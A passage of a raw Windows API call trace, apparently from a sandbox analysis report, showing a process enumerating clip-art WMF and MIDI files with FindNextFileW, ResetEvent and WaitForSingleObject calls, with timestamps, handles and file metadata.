ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01659_.WMF", cAlternateFileName="")) returned 1 [0245.115] ResetEvent (hEvent=0x2b8) returned 1 [0245.115] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0245.413] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x329e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01660_.WMF", cAlternateFileName="")) returned 1 [0245.413] ResetEvent (hEvent=0x2b8) returned 1 [0245.413] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0245.426] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02068_.WMF", cAlternateFileName="")) returned 1 [0245.426] ResetEvent (hEvent=0x2b8) returned 1 [0245.426] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0246.194] ResetEvent (hEvent=0x2b8) returned 1 [0246.194] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0246.433] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02071_.WMF", cAlternateFileName="")) returned 1 [0246.433] ResetEvent (hEvent=0x2b8) returned 1 [0246.433] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0246.461] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdeddf37, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02075_.WMF", cAlternateFileName="")) returned 1 [0246.461] ResetEvent (hEvent=0x2b8) returned 1 [0246.462] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0246.483] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02088_.WMF", cAlternateFileName="")) returned 1 [0246.483] ResetEvent (hEvent=0x2b8) returned 1 [0246.483] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0246.876] ResetEvent (hEvent=0x2b8) returned 1 [0246.876] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0247.100] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02097_.WMF", cAlternateFileName="")) returned 1 [0247.100] ResetEvent (hEvent=0x2b8) returned 1 [0247.100] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0247.374] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02115_.WMF", cAlternateFileName="")) returned 1 [0247.374] ResetEvent (hEvent=0x2b8) returned 1 [0247.374] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0247.385] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf94, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02116_.WMF", cAlternateFileName="")) returned 1 [0247.386] ResetEvent (hEvent=0x2b8) returned 1 [0247.386] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0247.556] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02141_.WMF", cAlternateFileName="")) returned 1 [0247.556] ResetEvent (hEvent=0x2b8) returned 1 [0247.556] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0247.577] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1510, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02153_.WMF", cAlternateFileName="")) returned 1 [0247.577] ResetEvent (hEvent=0x2b8) returned 1 [0247.577] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0247.807] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02158_.WMF", cAlternateFileName="")) returned 1 [0247.807] ResetEvent (hEvent=0x2b8) returned 1 [0247.807] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0247.835] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02161_.WMF", cAlternateFileName="")) returned 1 [0247.836] ResetEvent (hEvent=0x2b8) returned 1 [0247.836] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0247.843] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf2a4e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf2a4e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_01.MID", cAlternateFileName="")) returned 1 [0247.843] ResetEvent (hEvent=0x2b8) returned 1 [0247.843] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0248.063] ResetEvent (hEvent=0x2b8) returned 1 [0248.063] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0248.076] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdeddf37, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdeddf37, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf2a4e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_02.MID", cAlternateFileName="")) returned 1 [0248.076] ResetEvent (hEvent=0x2b8) returned 1 [0248.077] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0248.086] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLAP.WMF", cAlternateFileName="")) returned 1 [0248.086] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRDEN_01.MID", cAlternateFileName="")) returned 1 [0248.086] ResetEvent (hEvent=0x2b8) returned 1 [0248.086] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0248.354] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRID_01.MID", cAlternateFileName="")) returned 1 [0248.354] ResetEvent (hEvent=0x2b8) returned 1 [0248.354] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0248.380] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00057_.WMF", cAlternateFileName="")) returned 1 [0248.380] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00084_.WMF", cAlternateFileName="")) returned 1 [0248.380] ResetEvent (hEvent=0x2b8) returned 1 [0248.380] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0248.409] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00231_.WMF", cAlternateFileName="")) returned 1 [0248.409] ResetEvent (hEvent=0x2b8) returned 1 [0248.409] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0248.478] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00235_.WMF", cAlternateFileName="")) returned 1 [0248.545] ResetEvent (hEvent=0x2b8) returned 1 [0248.545] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0248.585] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00236_.WMF", cAlternateFileName="")) returned 1 [0248.585] ResetEvent (hEvent=0x2b8) returned 1 [0248.585] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0248.603] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00241_.WMF", cAlternateFileName="")) returned 1 [0248.604] ResetEvent (hEvent=0x2b8) returned 1 [0248.604] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0248.619] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf50660, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00260_.WMF", cAlternateFileName="")) returned 1 [0248.619] ResetEvent (hEvent=0x2b8) returned 1 [0248.619] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0248.660] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00276_.WMF", cAlternateFileName="")) returned 1 [0248.660] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00334_.WMF", cAlternateFileName="")) returned 1 [0248.661] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00443_.WMF", cAlternateFileName="")) returned 1 [0248.661] ResetEvent (hEvent=0x2b8) returned 1 [0248.661] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0248.809] ResetEvent (hEvent=0x2b8) returned 1 [0248.809] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0248.821] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00513_.WMF", cAlternateFileName="")) returned 1 [0248.821] ResetEvent (hEvent=0x2b8) returned 1 [0248.821] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0248.839] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00524_.WMF", cAlternateFileName="")) returned 1 [0248.839] ResetEvent (hEvent=0x2b8) returned 1 [0248.839] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0248.853] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x34e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00526_.WMF", cAlternateFileName="")) returned 1 [0248.853] ResetEvent (hEvent=0x2b8) returned 1 [0248.853] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0248.865] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00527_.WMF", cAlternateFileName="")) returned 1 [0248.865] ResetEvent (hEvent=0x2b8) returned 1 [0248.865] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0249.030] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe86, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00546_.WMF", cAlternateFileName="")) returned 1 [0249.031] ResetEvent (hEvent=0x2b8) returned 1 [0249.031] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0249.048] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00601_.WMF", cAlternateFileName="")) returned 1 [0249.048] ResetEvent (hEvent=0x2b8) returned 1 [0249.048] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0249.392] ResetEvent (hEvent=0x2b8) returned 1 [0249.392] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0249.427] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf50660, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf50660, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf76988, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00602_.WMF", cAlternateFileName="")) returned 1 [0249.427] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf9cafe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf9cafe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3158, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00612_.WMF", cAlternateFileName="")) returned 1 [0249.427] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2994, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00623_.WMF", cAlternateFileName="")) returned 1 [0249.427] ResetEvent (hEvent=0x2b8) returned 1 [0249.428] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0249.431] ResetEvent (hEvent=0x2b8) returned 1 [0249.431] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0249.438] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdf76988, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdf76988, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdf9cafe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x844, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00625_.WMF", cAlternateFileName="")) returned 1 [0249.439] ResetEvent (hEvent=0x2b8) returned 1 [0249.439] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0249.589] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: 